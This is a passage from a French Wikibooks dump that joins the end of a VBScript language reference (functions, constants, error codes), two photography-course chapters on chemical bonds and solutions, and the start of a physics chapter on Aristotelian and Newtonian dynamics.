0 </pre> *REMARQUES <pre> Rem </pre> *AFFECTATION DE REFERENCES <pre> Set objvar=[obj expr | New classname | Nothing ] </pre> *ASSOCIATION DE REFERENCE <pre> Set object.eventname=GetRef(procname) </pre> = Fonctions = == conversion et mise en forme== *CBool(expr) - ''conversion en variant booleen'' *CByte(expr) - ''conversion en variant byte'' *CCur(expr) - ''conversion en variant currency'' *CDate(expr) - ''conversion en variant date'' *CDbl(expr) - ''conversion en variant double'' *CInt(expr) - ''conversion en variant integer'' *CLng(expr) - ''conversion en variant long'' *CSng(expr) - ''conversion en variant single'' *CStr(expr) - ''conversion en variant string'' *FormatCurrency(expr,[NumDigitsAfterDecimal],[IncludeLeadingDigit],[UseParensForNegativeNumber],[GroupDigits]) - ''conversion formatée en variant currency'' *FormatDateTime(date,[NamedFormat]) - ''conversion formatée en variant date'' *FormatNumber(expr,[NumDigitsAfterDecimal],[IncludeLeadingDigit],[UseParensForNegativeNumber],[GroupDigits]) - ''conversion formatée en variant nombre'' *FormatPercent(expr,[NumDigitsAfterDecimal],[IncludeLeadingDigit],[UseParensForNegativeNumber],[GroupDigits]) - ''conversion formatée en variant percent'' *Hex(nbr) - ''conversion en variant hexadecimal'' *IsArray(expr) - ''renvoit booleen si tableau'' *IsDate(expr) - ''renvoit booleen si date'' *IsEmpty(expr) - ''renvoit booleen si vide'' *IsNull(expr) - ''renvoit booleen si null'' *IsNumeric(expr) - ''renvoit booleen si nbr'' *IsObject(identifier) - ''renvoit booleen si obj automation'' *Oct(nbr) - ''conversion en string octal'' == mathématiques == *Abs(nbr) - ''renvoie valeur absolue'' *Atn(nbr) - ''renvoie arc tangent'' *Cos(nbr) - ''renvoie cosinus'' *Exp(nbr) - ''renvoie la puissance'' *Int(nbr) - ''renvoie partie entière'' *Fix(nbr) - ''renvoie partie entière'' *Log(nbr) - ''renvoie log népérien'' *Sqr(nbr) - ''renvoie racine carrée'' *Tan(nbr) - ''renvoie tangente'' *Sgn(nbr) - ''renvoie signe'' *Randomize(nbr) - ''init nbr aleatoire'' *Rnd(nbr) - ''renvoie nbr aleatoire'' *Round(expr,[numdecimalplaces]) - ''renvoie l'arrondi'' *Sin(nbr) - ''renvoie sinus'' == de traitement de chaînes == *Asc(string) - ''renvoie code ansi du 1er char'' *Chr(charcode) - ''renvoie le char du code ansi'' *inStr(start,string,string2,[compare]) - ''renvoie 1ère position d'un string dans un autre'' *InStrRev(delimiter) - ''renvoie position d'un string dans un autre en partant de fin'' *Join(string) - ''renvoie string joins partant d'un tableau'' *LCase(string) - ''conversion en minuscule'' *Left(string,length) - ''renvoie sous string partant de gauche'' *Len(string) - ''renvoie nbr de char dans string'' *LTrim(string) - ''renvoie string sans espace à gauche'' *Mid(string,start,[length]) - ''renvoie sous string partant de milieu'' *Replace(expr,find,replacement,[start],[count],[compare]) - ''remplace string dans string'' *Right(string,length) - ''renvoie sous string partant de droite'' *RTrim(string) - ''renvoie string sans espace à droite'' *StrComp(string1,string2,[compare]) - ''renvoie valeur de comparaison de string'' *String([nbr],[char]) - ''renvoie string de char repete'' *StrReverse(string) - ''renvoie string inverse'' *Space(nbr) - ''renvoie string de space'' *Trim(string) - ''renvoie string sans espace ni gauche ni droite'' *UCase(string) - ''renvoie string en majuscule'' == de date et d'heure == *Date() - ''renvoie date sys'' *DateAdd(interval,nbr,Date) - ''renvoie date + interval'' *DateDiff(interval,date1,date2,[firstdayofweek],[firstdayofyear]) - ''renvoie interval'' *DatePart(interval,Date,[firstdayofweek],[firstdayofyear]) - ''renvoie partie spécifiée'' *DateSerial(Year,Month,Date) - ''renvoie variant de type date'' *DateValue(Date) - ''renvoie variant de type date'' *Day(Date) - ''renvoie jour du mois'' *Hour(Time) - ''renvoie heure'' *Minute(Time) - ''renvoie minute' *Month(Date) - ''renvoie mois en chiffre'' *MonthName(Month,[abbreviate]) - ''renvoie mois en lettre'' *Now() - ''renvoie date et heure sys'' *Second(Time) - ''renvoie seconde'' *Time() - ''renvoie heure sys'' *Timer() - ''renvoie nbre de sec depuis 00:00'' *TimeSerial(Hour,Minute,Second) - ''renvoit variant de type date'' *TimeValue(Time) - ''renvoit variant de type date'' *Weekday(Date,[fistdayofweek]) - ''renvoie jour semaine en chiffre'' *WeekdayName(Weekday,abbreviate,firstdayofweek) - ''renvoie jour semaine en lettre'' *Year(Date) - ''renvoie annee de date'' == liées aux tableaux == *Array(arg) - ''renvoie variant contenant tableau'' *Erase tableau - ''libère tableau'' *Filter(InputStrings,Value,[Include],[compare]) - ''renvoie tableau commençant par 0 contenant sous ensemble de string'' *LBound(arrayname,[dimension]) - ''renvoie plus petit indice tableau'' *Split(expr,[delimiter],[count],[compare]) - ''renvoie tableau commençant par 0 comprenant # de string'' *UBound(arrayname,[dimension]) - ''renvoie plus grand indice tableau'' == autres fonctions == *CreateObject(class) - ''renvoie ref à objet automation'' *Eval(string) - ''renvoie resultat'' *Execute ins - ''execute ins'' *ExecuteGlobal ins - ''execute ins globale'' *GetLocale() - ''renvoie valeur ID parametre regionnaux sys'' *GetObject([pathname],[class]) - ''renvoie ref à objet automation de fichier'' *GetRef(string) - ''renvoie ref à procedure'' *InputBox(prompt,[title],[default,[xpos],[ypos],[helpfile],[context]) - ''prompt'' *LoadPicture([stringexpr) - ''renvoie img'' *MsgBox(prompt,[buttons],[title],[helpfile],[context]) - ''msgbox'' *RGB(red,green,blue) - ''renvoie int rgb'' *ScriptEngine() - ''renvoie string de script utilisé'' *ScriptEngineBuildVersion() - ''renvoie N° version'' *ScriptEngineMajorVersion() - ''renvoie N° version principale'' *ScriptEngineMinorVersion() - ''renvoie N° version secondaire'' *SetLocate(Icid) - ''def param regionnaux globaux'' *TypeName(varname) - ''renvoit string d'info sur variant'' *VarType(varname) - ''renvoit valeur sous type de var'' = Objets = *Err - ''infos relatives aux erreurs d'exec'' **Proprietes ::Description ::Helpcontext ::Helpfile ::Number ::Source **Methodes ::Clear() ::Raise(nbr,src,desc,hlpf,hlpcontext) *RegExp - ''gestion des regular expr'' **Proprietes ::Global ::IgnoreCase ::Pattern **Methodes ::Execute(string) ::Replace(string1,string2) ::Test(string) *Match - ''accès aux proprietes correspondant de regular expr'' **Proprietes ::FirstIndex ::Length ::Value *Matches - ''collection de match'' **Proprietes ::Count ::Item(key) *SubMatches - ''collection de sous-match'' **Proprietes ::Count ::Item(key) = Constantes = ==Chaînes de caractères== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center bgcolor="#EFEFEF" | CONSTANTE || VALEUR || DESCRIPTION |- align=center | vbCr || chr(13) || Retour chariot |- align=center bgcolor="#EFEFEF" | vbCrlf || chr(13)+chr(10) || Retour chariot et saut de ligne |- align=center | vbFormFeed || chr(12) || Saut de page |- align=center bgcolor="#EFEFEF" | vblf || chr(10) || Saut de ligne |- align=center | vbNewline || chr(13)+chr(10) || Nouvelle ligne |- align=center bgcolor="#EFEFEF" | vbNullChar || chr(0) || 0 |- align=center | vbNullString || chaîne ayant val. 0 || chaine nulle |- align=center bgcolor="#EFEFEF" | vbTab || chr(9) || tab horizontale |- align=center | vbVerticalTab || chr(11) || tab verticale |} ==Couleur== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center | vbBlack || &h00 || Noir |- align=center bgcolor="#EFEFEF" | vbRed || &hFF || Rouge |- align=center | vbGreen || &hFF00 || Vert |- align=center bgcolor="#EFEFEF" | vbYellow || &hFFFF || Jaune |- align=center | vbBlue || &hFF0000 || Bleu |- align=center bgcolor="#EFEFEF" | vbMagenta || &hFF00FF || Magenta |- align=center | vbCyan || &hFFFF00 || Cyan |- align=center bgcolor="#EFEFEF" | vbWhite || &hFFFFFF || Blanc |} ==Comparaison== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center | vbBinaryCompare || 0 || Comparaison binaire |- align=center bgcolor="#EFEFEF" | vbTextCompare || 1 || Comparaison texte |} ==Date et heure== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center | vbSunday || 1 || Dimanche |- align=center bgcolor="#EFEFEF" | vbMonday || 2 || Lundi |- align=center | vbTuesday || 3 || Mardi |- align=center bgcolor="#EFEFEF" | vbWednesday || 4 || Mercredi |- align=center | vbThursday || 5 || Jeudi |- align=center bgcolor="#EFEFEF" | vbFriday || 6 || Vendredi |- align=center | vbSaturday || 7 || Samedi |- align=center bgcolor="#EFEFEF" | vbUseSystem || 0 || Format de date des param regionaux |- align=center | vbUseSystemDayOfWeek || 0 || Jour semaine des param regionaux |- align=center bgcolor="#EFEFEF" | vbFirstJan1 || 1 || Utilise la semaine du 01 Janvier |- align=center | vbFisrtFourDays || 2 || Première semaine avec 4 jours dans nouvelle annee |- align=center bgcolor="#EFEFEF" | vbFirstFullWeek || 3 || Utilise la premiere semaine complete de l'annee |} ==Format de date== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center | vbGeneralDate || 0 || Date et heure |- align=center bgcolor="#EFEFEF" | vbLongDate || 1 || Date complète |- align=center | vbShortDate || 2 || Date abrégée |- align=center bgcolor="#EFEFEF" | vbLongTime || 3 || Heure complète |- align=center | vbShortTime || 4 || Heure abrégée |} ==MsgBox== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center | vbOkOnly || 0 || ok |- align=center bgcolor="#EFEFEF" | vbOkCancel || 1 || ok/cancel |- align=center | vbAbortRetryIgnore || 2 || abort/retry/ignore |- align=center bgcolor="#EFEFEF" | vbYesNoCancel || 3 || yes/no/cancel |- align=center | vbYesNo || 4 || yes/no |- align=center bgcolor="#EFEFEF" | vbRetryCancel || 5 || retry/cancel |- align=center | vbCritical || 16 || message critique |- align=center bgcolor="#EFEFEF" | vbQuestion || 32 || demande avertissement |- align=center | vbExclamation || 48 || exclamation |- align=center bgcolor="#EFEFEF" | vbInformation || 64 || information |- align=center | vbDefaultButton1 || 0 || bouton1 |- align=center bgcolor="#EFEFEF" | vbDefaultButton2 || 256 || bouton2 |- align=center | vbDefaultButton3 || 542 || bouton3 |- align=center bgcolor="#EFEFEF" | vbDefaultButton4 || 768 || bouton4 |- align=center | vbApplicationModal || 0 || boite modale pour l'app |- align=center bgcolor="#EFEFEF" | vbSystemModal || 4096 || boite modale pour le sys |} ==VarType== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center | vbEmpty || 0 || non init (defaut) |- align=center bgcolor="#EFEFEF" | vbNull || 1 || pas de data |- align=center | vbInteger || 2 || sous-type integer |- align=center bgcolor="#EFEFEF" | vbLong || 3 || sous-type long |- align=center | vbSingle || 4 || sous-type single |- align=center bgcolor="#EFEFEF" | vbDouble || 5 || sous-type double |- align=center | vbCurrency || 6 || sous-type currency |- align=center bgcolor="#EFEFEF" | vbDate || 7 || sous-type date |- align=center | vbString || 8 || sous-type string |- align=center bgcolor="#EFEFEF" | vbObject || 9 || objet |- align=center | vbError || 10 || sous-type error |- align=center bgcolor="#EFEFEF" | vbBoolean || 11 || sous-type booleen |- align=center | vbVariant || 12 || variant pour tableau variant |- align=center bgcolor="#EFEFEF" | vbDataObject || 13 || objet d'acces aux donnees |- align=center | vbDecimal || 14 || sous-type decimal |- align=center bgcolor="#EFEFEF" | vbByte || 17 || sous-type byte |- align=center | vbArray || 8192 || tableau |} ==Autre constantes== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center | vbObjectError || -2147221504 || num d'erreur doivent etre superieur |- align=center bgcolor="#EFEFEF" | vbUseDefault || -2 || utiliser valeur par defaut des params |- align=center | vbTrue || -1 || true |- align=center bgcolor="#EFEFEF" | vbFalse || 0 || false |} = Codes d'erreur = Il y a deux types d'erreurs : *execution *syntaxe ==Execution== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center bgcolor="#EFEFEF" | NUMERO || DESCRIPTION |- align=center | 5 || appel de procedure incorrect |- align=center bgcolor="#EFEFEF" | 6 || depassement de capacite |- align=center | 7 || memoire insuffisante |- align=center bgcolor="#EFEFEF" | 9 || indice hors plage |- align=center | 10 || tableau fixe ou verrouille |- align=center bgcolor="#EFEFEF" | 11 || division par zero |- align=center | 13 || type incompatible |- align=center bgcolor="#EFEFEF" | 14 || espace de chaine insuffisant |- align=center | 17 || operation impossible |- align=center bgcolor="#EFEFEF" | 28 || espace pile insuffisant |- align=center | 35 || sub non definie |- align=center bgcolor="#EFEFEF" | 48 || erreur chargement de dll |- align=center | 51 || erreur interne |- align=center bgcolor="#EFEFEF" | 91 || var d'objet non definie |- align=center | 92 || boucle non init |- align=center bgcolor="#EFEFEF" | 94 || utilisation incorrecte de null |- align=center | 424 || objet requis |- align=center bgcolor="#EFEFEF" | 429 || activex ne peut pas creer l'objet |- align=center | 430 || classe ne gere pas automation |- align=center bgcolor="#EFEFEF" | 432 || fichier ou classe introuvable |- align=center | 438 || methode ou propriete non gere |- align=center bgcolor="#EFEFEF" | 445 || objet ne gere pas action |- align=center | 447 || objet ne gere pas les param |- align=center bgcolor="#EFEFEF" | 448 || arg introuvable |- align=center | 449 || arg obligatoire |- align=center bgcolor="#EFEFEF" | 450 || nbre arg ou propriete incorrecte |- align=center | 451 || objet n'est pas une collection |- align=center bgcolor="#EFEFEF" | 458 || type automation non gere |- align=center | 462 || machine distante indisponnible |- align=center bgcolor="#EFEFEF" | 481 || image incorrecte |- align=center | 500 || variable indefinie |- align=center bgcolor="#EFEFEF" | 502 || objet non securise pour script |- align=center | 503 || objet non securise pour init |- align=center bgcolor="#EFEFEF" | 504 || objet non securise pour creation |- align=center | 505 || reference incorrecte ou non qualifiee |- align=center bgcolor="#EFEFEF" | 506 || classe non definie |- align=center | 507 || exception |- align=center bgcolor="#EFEFEF" | 5008 || affectation illegale |- align=center | 5017 || Erreur syntaxique dans ER |- align=center bgcolor="#EFEFEF" | 5018 || quantifiant innatendu |- align=center | 5019 || ']' attendu dans ER |- align=center bgcolor="#EFEFEF" | 5020 || ')' attentu dans ER |- align=center | 5021 || jeu de char incorrect |} ==Syntaxe== {| border="0" style="border: 0px solid #999; background-color:#FFFFFF" |- align=center bgcolor="#EFEFEF" | NUMERO || DESCRIPTION |- align=center | 1052 || trop de methodes et proprietes |- align=center bgcolor="#EFEFEF" | 1044 || parentheses interdites |- align=center | 1053 || classe sans arg |- align=center bgcolor="#EFEFEF" | 1058 || 'default' que dans get |- align=center | 1057 || 'default' + 'public' |- align=center bgcolor="#EFEFEF" | 1005 || '(' attendu |- align=center | 1006 || ')' attendu |- align=center bgcolor="#EFEFEF" | 1011 || '=' attendu |- align=center | 1021 || 'case' attendu |- align=center bgcolor="#EFEFEF" | 1047 || 'class' attendu |- align=center | 1025 || fin ins attendu |- align=center bgcolor="#EFEFEF" | 1014 || 'end' attendu |- align=center | 1023 || expr attendu |- align=center bgcolor="#EFEFEF" | 1015 || 'function' attendu |- align=center | 1010 || identificateur attendu |- align=center bgcolor="#EFEFEF" | 1012 || 'lf' attendu |- align=center | 1046 || 'ln' attendu |- align=center bgcolor="#EFEFEF" | 1026 || constante (int) attendu |- align=center | 1049 || let, get, set attendu |- align=center bgcolor="#EFEFEF" | 1045 || constante (string) attendu |- align=center | 1019 || 'loop' attendu |- align=center bgcolor="#EFEFEF" | 1020 || 'next' attendu |- align=center | 1050 || 'property' attendu |- align=center bgcolor="#EFEFEF" | 1022 || 'select' attendu |- align=center | 1024 || ins attendu |- align=center bgcolor="#EFEFEF" | 1016 || 'sub' attendu |- align=center | 1017 || 'then' attendu |- align=center bgcolor="#EFEFEF" | 1013 || 'to' attendu |- align=center | 1018 || 'wend' attendu |- align=center bgcolor="#EFEFEF" | 1027 || 'while' 'until' attendu |- align=center | 1028 || 'while' 'until' ou fin ins attendu |- align=center bgcolor="#EFEFEF" | 1029 || 'with' attendu |- align=center | 1030 || identificateur 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http://msdn.microsoft.com/library/default.asp?url=/library/en-us/script56/html/vtoriVBScript.asp * http://en.wikibooks.org/wiki/Programming:Visual_Basic_Classic * http://www.commentcamarche.net/vbscript/vbsintro.php3 * http://www.vbfrance.com/ * http://www.lehtml.com/vb/ {{Programmation}} Photographie - 02 - Liaisons chimiques 5240 32173 2006-02-09T11:05:56Z Jean-Jacques MILAN 114 ajout d'un modèle {{Photographie}} {{Photo_02}} Selon la nature des atomes qui s'unissent pour former des molécules, différents types de liaisons peuvent exister, mais nous verrons que dans tous les cas les combinaisons d'atomes se font à l'aide de leurs électrons périphériques ou '''électrons de valence'''. La classification de Mendeleïev fait apparaître des colonnes dans lesquelles se placent des éléments dont les propriétés sont comparables, par exemple, ceux du groupe Ia (métaux alcalins) qui ont un seul électron de valence ou ceux du groupe VIIb (halogènes) qui en ont 7. De même, les éléments de transition et surtout les terres rares dont nous avons évoqué la laborieuse séparation possèdent le même nombre d'électrons périphériques. A l'exception de l'hélium qui en compte deux, les gaz inertes comptent 8 électrons de valence. Cette structure est particulièrement stable et pour comprendre le processus des liaisons chimiques il faut retenir que dans la grande majorité des cas, les différents atomes se combinent de telle manière que leur configuration électronique externe '''se rapproche de celle du gaz inerte le plus proche'''. Selon la manière dont se font les arrangements électroniques, on a coutume de distinguer plusieurs grands types de liaisons : == Liaison ionique == Les atomes qui possèdent un, deux ou trois électrons périphériques tendent à les perdre pour se transformer '''ions''' positifs ou '''cations'''. Le potassium K et le calcium Ca donnent ainsi les ions K<sup>+</sup> et Ca<sup>++</sup> dont la configuration électronique est celle de l'argon. De la même façon, les halogènes qui possèdent 7 électrons périphériques tendent à en gagner un. Le chlore Cl donne facilement l'ion négatif ou ''anion'' Cl<sup>-</sup>. Les corps tels que le chlorure de potassium KCl ou le chlorure de calcium CaCl<sub>2</sub> sont ainsi formés d'ions retenus par des forces électrostatiques. Il y a échange d'un électron pour KCl et de deux pour CaCl<sub>2</sub>. Les figures ci-dessous représentent les atomes de sodium et de chlore (chlorine en anglais). Le premier possède un seul électron sur sa couche périphérique et tend à le perdre pour devenir un ion Na<sup>+</sup>, tandis que le second, qui en possède 7, tend à en gagner un pour devenir un ion Cl<sup>-</sup>. On conçoit bien que ces deux atomes sont en quelque sorte « faits pour s'entendre », leur combinaison donnera le chlorure de sodium NaCl plus connu sous le nom de sel de cuisine. <gallery> Image:Electron shell 011 sodium.png|Atome de sodium Image:Electron shell 017 chlorine.png|atome de chlore </gallery> == Liaison covalente == Ici les électrons ne sont plus échangés mais mis en commun. C'est le cas pour les gaz diatomiques Cl<sub>2</sub>, 0<sub>2</sub> et N<sub>2</sub> dont les atomes sont liés respectivement par 1, 2 ou 3 paires d'électrons : <gallery> Image:Oxygène.png|Formation de la molécule d'oxygène </gallery> On note les molécules correspondantes Cl-Cl, 0=0, N&equiv;N et l'om parle de liaisons simples, doubles ou triples. De telles liaisons sont très courantes en chimie organique (chimie des dérivés du carbone). == Liaison dative ou de coordinence == Cette fois, les électrons ne sont ni échangés, ni mis en commun, mais cédés par paires de l'un des atomes à l'autre. Chacun des deux atomes d'azote de l'oxyde N<sub>2</sub>0<sub>3</sub>, par exemple, peut encore fixer un atome d'oxygène pour donner N<sub>2</sub>0<sub>5</sub>. <gallery> Image:N2O3.png|Oxyde d'azote N<sub>2</sub>0<sub>3</sub> Image:N2O5.png|Oxyde d'azote N<sub>2</sub>0<sub>5</sub> </gallery> Les formules développées peuvent s'écrire O=N-O-N=O + 02 → O=N-O-N=O ↓ ↓ 0 0 == Notion de valence == Le nombre d'électrons donnés, pris, ou de paires d'électrons mises en commun par un élément dans une liaison est caractéristique de la '''valence''' de cet élément. La plupart des éléments possèdent un degré de valence principal et des degrés de valence secondaires. Le fait que les atomes, à partir de la seconde période de la classification, tendent à établir des liaisons telles que leur couche électronique possède 8 électrons fait que l'on évoque parfois la '''règle de l'octet de valence'''. {{Photo_02}} Photographie - 02 - L'état dissous 5242 32174 2006-02-09T11:06:31Z Jean-Jacques MILAN 114 ajout d'un modèle {{Photographie}} {{Photo_02}} Les propriétés élastiques des gaz sont pratiquement indépendantes de leur nature chimique car les atomes ou les molécules sont alors suffisamment éloignés les uns des autres pour que leurs actions mutuelles soient négligeables. C'est ainsi que dans les mêmes conditions de température et de pression, tous les gaz occupent, pour un même nombre de moles, des volumes très voisins. Dans les '''conditions normales''', O°C et 76 cm de mercure, les volumes molaires sont de l'ordre de 22,4 l. En revanche, les liquides et les solides ont des propriétés étroitement liées à leur composition chimique. == Pression osmotique == [[Image:Pression osmotique.png|thumb|250px|right|Pression osmotique]] En dispersant les molécules d'un corps dans un '''solvant''' inerte, on crée une '''solution''', nouveau milieu où ces molécules séparées font à nouveau montre de propriétés élastiques. Elles se répartissent pour commencer dans toute la masse du liquide sous l'effet d'une '''pression de diffusion''' supérieure aux forces de cohésion du liquide ou du solide qu'elles constituaient auparavant . Cette '''pression osmotique''' est telle que si l'on place un certain volume d'une solution déterminée dans un tube fermé par une membrane semi-perméable, qui retient les molécules du corps dissous mais laisse passer celles du solvant, et que l'on plonge ce tube dans du solvant pur, le liquide s'élève jusqu'au moment où la pression hydrostatique équilibre la pression osmotique. En appelant P la pression osmotique et V le volume occupé par la solution, on obtient une expression rigoureusement identique à la loi des gaz parfaits : <math>PV=RT \,</math> R est la '''constante des gaz parfaits''', qui vaut 8.3 J/mole.°C La pression osmotique créée par une mole de gaz dissous dans un volume V est égale à la pression de ce gaz occupant le même volume V à la même température. On peut donc généraliser le postulat d'Avogadro : à l'état gazeux ou à l'état de solution étendue, dans les mêmes conditions de pression ou de pression osmotique et de température, tous les corps contiennent, sous un même volume, le même nombre de molécules. == Dissociation en ions == Toutefois, l'étude des pressions osmotiques d'un certain nombre de corps dissous dans l'eau révèle une valeur i fois plus grande que celle que l'on serait en droit d'attendre. Ce fait indique que les molécu1es en question sont au moins partiellement dissociées lorsqu'elles se trouvent en solution. Pour le sel NaCl, on trouve une valeur de i voisine de 2, qui correspond à la dissociation en ions <big>Na<sup>+</sup></big> et <big>Cl<sup> -</sup></big> qui se comportent comme autant de molécules indépendantes. L'acide sulfurique, lui aussi presque totalement dissocié en deux ions <big>H<sub>3</sub>O<sup>+</sup></big> et <big>SO<sub>4</sub><sup>- -</sup></big>, donne une valeur très proche de 3. Cependant, d'autres corps ne sont que très partiellement dissociés : par exemple, l'acide acétique <big>CH<sub>3</sub>COOH</big> qui donne des ions <big>CH<sub>3</sub>COO<sup>-</sup></big> et <big>H<sub>3</sub>O<sup>+</sup></big> est tel que seule une fraction <big>&alpha;</big> des molécules se dissocie, de sorte que l'on trouve, en fractions de moles : <big>(1-&alpha;)&nbsp;CH<sub>3</sub>COOH</big> , <big>&alpha; CH3COO<sup>-</sup></big> et <big>&alpha; H<sub>3</sub>O<sup>+</sup></big>. En notant [X] la concentration molaire de la traction X, en moles par litres, on obtient l'expression de la '''constante de dissociation''' de l'acide : <math>\frac{\left[ CH_3COO^- \right] \cdot \left[H_3O^+ \right]}{\left[CH_3COOH\right]} = K_{CH_3COOH} = \frac{\alpha^2}{1-\alpha} =1,81 \cdot 10^{-5} \quad</math> <big>(à 20°C)</big> Dans le cas présent on aurait <big>&alpha; = 4.25.10<sup>-3</sup></big>. {{Photo_02}} Dynamique 5243 35235 2006-03-01T12:07:17Z Jean-Jacques MILAN 114 /* Le frottement */ ===La mécanique d'Aristote=== [[Catégorie:Physique]] ====Introduction==== On pense généralement aujourd'hui que la mécanique d'Aristote est dépassée. C'est vrai. Tout comme la mécanique de Newton et la relativité restreinte. Et tout pousse à penser que la relativité générale pourrait être bientôt dépassée. En réalité chacune de ces théories répond à des questions bien précises dans un cadre limité. Les réponses données par ces théories à ces questions sont tout-à-fait pertinentes dans ce cadre. Il est alors important de bien comprendre l'utilité de maintenir la connaissance de ces théories. S'il est naturel aujourd'hui de maintenir dans les universités l'enseignement de la théorie de Newton parce que celle-ci à permis d'envoyer des hommes sur la lune, il est tout aussi important de présenter la théorie d'Aristote parce qu'elle est née de l'évidence et du sens commun et pour cette raison est partagée par tout un chacun. Il est donc très important de marquer bien précisément les limites aux réponses qu'elle peut fournir. ====Platon==== La physique aristotélicienne est intimement liée à la cosmologie de Platon. Celle-ci part d'une idée simple. Platon pense qu'il existe deux mondes tout-à-fait différents : l'un, humain, composé par tout ce qui se trouve au-dessous de la lune et l'autre, divin, composé par tout ce qui est au-dessus. :"Le monde sublunaire où règnent les apparences [...] est formé de couches étagées; il y a d'abord la Terre, puis l'Eau, l'Air et enfin le Feu se situant tout au-dessus, vers les limites du monde sublunaire. Ce monde dans lequel vivent les hommes est imparfait, corruptible. :Le monde céleste [...] est le siège des idées. Il est formé de l'Ether, le cinquième élément (ou quintessence. C'est là que se trouvent les astres qui sont des êtres éternels, parfaits, divins et immuables. Parfaits, ils doivent aussi avoir un mouvement parfait autour de la Terre, c'est-à-dire un mouvement circulaire uniforme (MCU), ou éventuellement une combinaison de tels mouvements. Dans l'esprit pythagoricien, le MCU est effectivement le mouvement qui, par ses qualités de symétrie et d'harmonie, est le plus parfait que l'on puisse imaginer." :Mécanique, E. Lindemann, 1999,DeBoeckUniversité, p.43,44. C'est dans le cadre de cette cosmologie qu'Aristote va établir sa physique. ====Aristote==== L'idée fondamentale de la dynamique d'Aristote vient de l'observation commune du fait que le mouvement finit toujours par s'arrêter. Ainsi, selon Aristote, il existe pour chacun des cinq éléments qui composent toute chose dans l'univers (la terre, l'eau, l'air, le feu et l'éther) un lieu de repos naturel. Pour la terre, c'est le centre de l'univers (cela implique que le centre de la terre se trouve au centre de l'univers). Pour l'eau, c'est sur la terre. Pour l'air, c'est sur l'eau ou la terre. Pour le feu, c'est au-dessus de l'air (c'est pourquoi le feu monte), mais au-dessous de la lune. Enfin, pour l'éther, c'est au-dessus de la lune. =====Cinématique===== En conséquence, il existe des mouvements dits naturels, ceux qui mènent un objet, selon sa composition, vers son lieu naturel de repos, et des mouvements dits forcés ou violents, ceux qui éloignent l'objet de son lieu naturel de repos. Par exemple, étant essentiellement composée de terre, une pierre qu'on laisse tomber va naturellement rejoindre, au plus près qu'il lui est possible de le faire, le centre de la terre. La chute d'un tel objet est donc un mouvement naturel. Par contre, le mouvement d'un boulet de canon est composé : au début, le boulet, composé de terre, s'élève et ainsi s'éloigne de son lieu naturel de repos, le centre de l'univers. Son mouvement est donc violent. Puis, il s'approche de la lune, lieu divin dans lequel il n'existe qu'un mouvement éternel: le mouvement circulaire uniforme (MCU), c'est-à-dire un mouvement que l'on pourrait dire sans mouvement, un mouvement à vitesse constante. Sa trajectoire prend donc une allure divine, c'est-à-dire tend vers le cercle. C'est la partie haute du mouvement du boulet. Puis, il retombe. Son mouvement redevient donc naturel. Au total, on distingue donc trois types de mouvement dans la cinématique d'Aristote : les mouvements naturels, les mouvements violents et les mouvements divins. Les deux premiers se font essentiellement en ligne droite. Le dernier est circulaire à vitesse constante. =====Dynamique===== Cette cinématique est complétée par une dynamique en parfaite logique avec la première. Car, si les objets ont un lieu naturel de repos, c'est que leur état naturel est précisément d'être au repos (comme les hommes en quelque sorte, et on peut bien penser que cette comparaison pouvait avoir un sens à cette époque). Ainsi, pour qu'ils restent en mouvement, il faut les y aider en exerçant sur eux une contrainte, une "force" en termes modernes. Pour Aristote, l'état de mouvement est donc directement lié à la force qui lui permet d'exister. Et bien entendu plus cette force est grande, plus l'état de mouvement sera grand, c'est-à-dire plus la vitesse de l'objet sera importante. On pourrait résumer la dynamique d'Aristote en termes anachroniques en disant que pour lui la force est directement proportionnelle à la vitesse : <center><math>F\approx v</math></center> Cette théorie est si naturelle qu'elle paraît évidente. Pour l'illustrer, considérons les quatre questions suivantes : * Un canon pointe verticalement. A l'arrêt, il tire un obus qui lui retombe dessus. Qu'en est-il si le canon se déplace horizontalement, tout en pointant toujours verticalement ? L'obus retombe-t-il derrière le canon, sur le canon ou devant ? * On laisse tomber un objet du haut de la Tour Eiffel. Étant donné que la terre tourne, celle-ci se déplace. En conséquence, cet objet va-t-il tomber au pied exact de là où il a été lâché, un peu à l'est de ce point ou un peu à l'ouest ? * Un avion veut remettre des vivres aux rescapés d'un naufrage réunis sur une île déserte. Doit-il lâcher son colis avant l'île, sur l'île ou après elle ? * Un pirate lâche son couteau du haut de la vigie du grand mat. Le bateau est en pleine poursuite d'un autre vaisseau. Le couteau tombera-t-il du côté de la proue, du côté de la poupe ou au pieds du grand mât du bateau ? Explications : Ainsi, la mécanique d'Aristote traduit le fait évident qu'il faut pousser un objet pour qu'il se déplace. Dans la vie de tous les jours, c'est exact parce qu'il y a du frottement. Mais on sait aujourd'hui que cette affirmation est généralement fausse, qu'il n'est pas nécessaire d'exercer une force sur un objet pour qu'il soit en mouvement. Ainsi on peut dire que la théorie d'Aristote est fausse. Mais on peut aussi la voir comme une bonne théorie pour les cas de la vie courante. Nous allons voir que la théorie de Newton, si elle résout les erreurs d'Aristote, et donc en ce sens est une théorie plus exacte que celle d'Aristote, a aussi ses propres limitations qui en font aussi une théorie fausse dans certains domaines. ===Mécanique de Newton=== ====Introduction==== Newton est avec Einstein le plus grand physicien de tous les temps. C'est lui qui, avec les "Principes mathématiques de la philosophie naturelle" (son principal ouvrage intitulé aussi "Principia mathematica" ; entendez par "philosophie naturelle" la physique) parus en 1687, pose pour la première fois les bases d'une théorie complète du mouvement et de ses causes. Il publie aussi sa fameuse loi de la gravitation, qui détermine une relation d'attraction très générale entre les corps qui ont une masse. Mais l'exceptionnel travail de Newton ne se limite pas à cela. Il porte aussi sur l'optique de son temps, domaine dans lequel il se signale par la découverte des anneaux dits de Newton. ====Mécanique==== Toute la mécanique de Newton repose sur trois axiomes (Le terme d'axiome est intéressant ici puisqu'il souligne que toute la mécanique de Newton peut être logiquement déduite de ces postulats initiaux) ou lois fondamentales. L'invention (au sens de "découverte") de ces lois n'est pas due au hasard, mais dérive directement d'une réflexion en opposition à la physique d'Aristote, comme on va le voir ci-dessous. =====Les trois lois de Newton===== Présentons tout d'abord ces 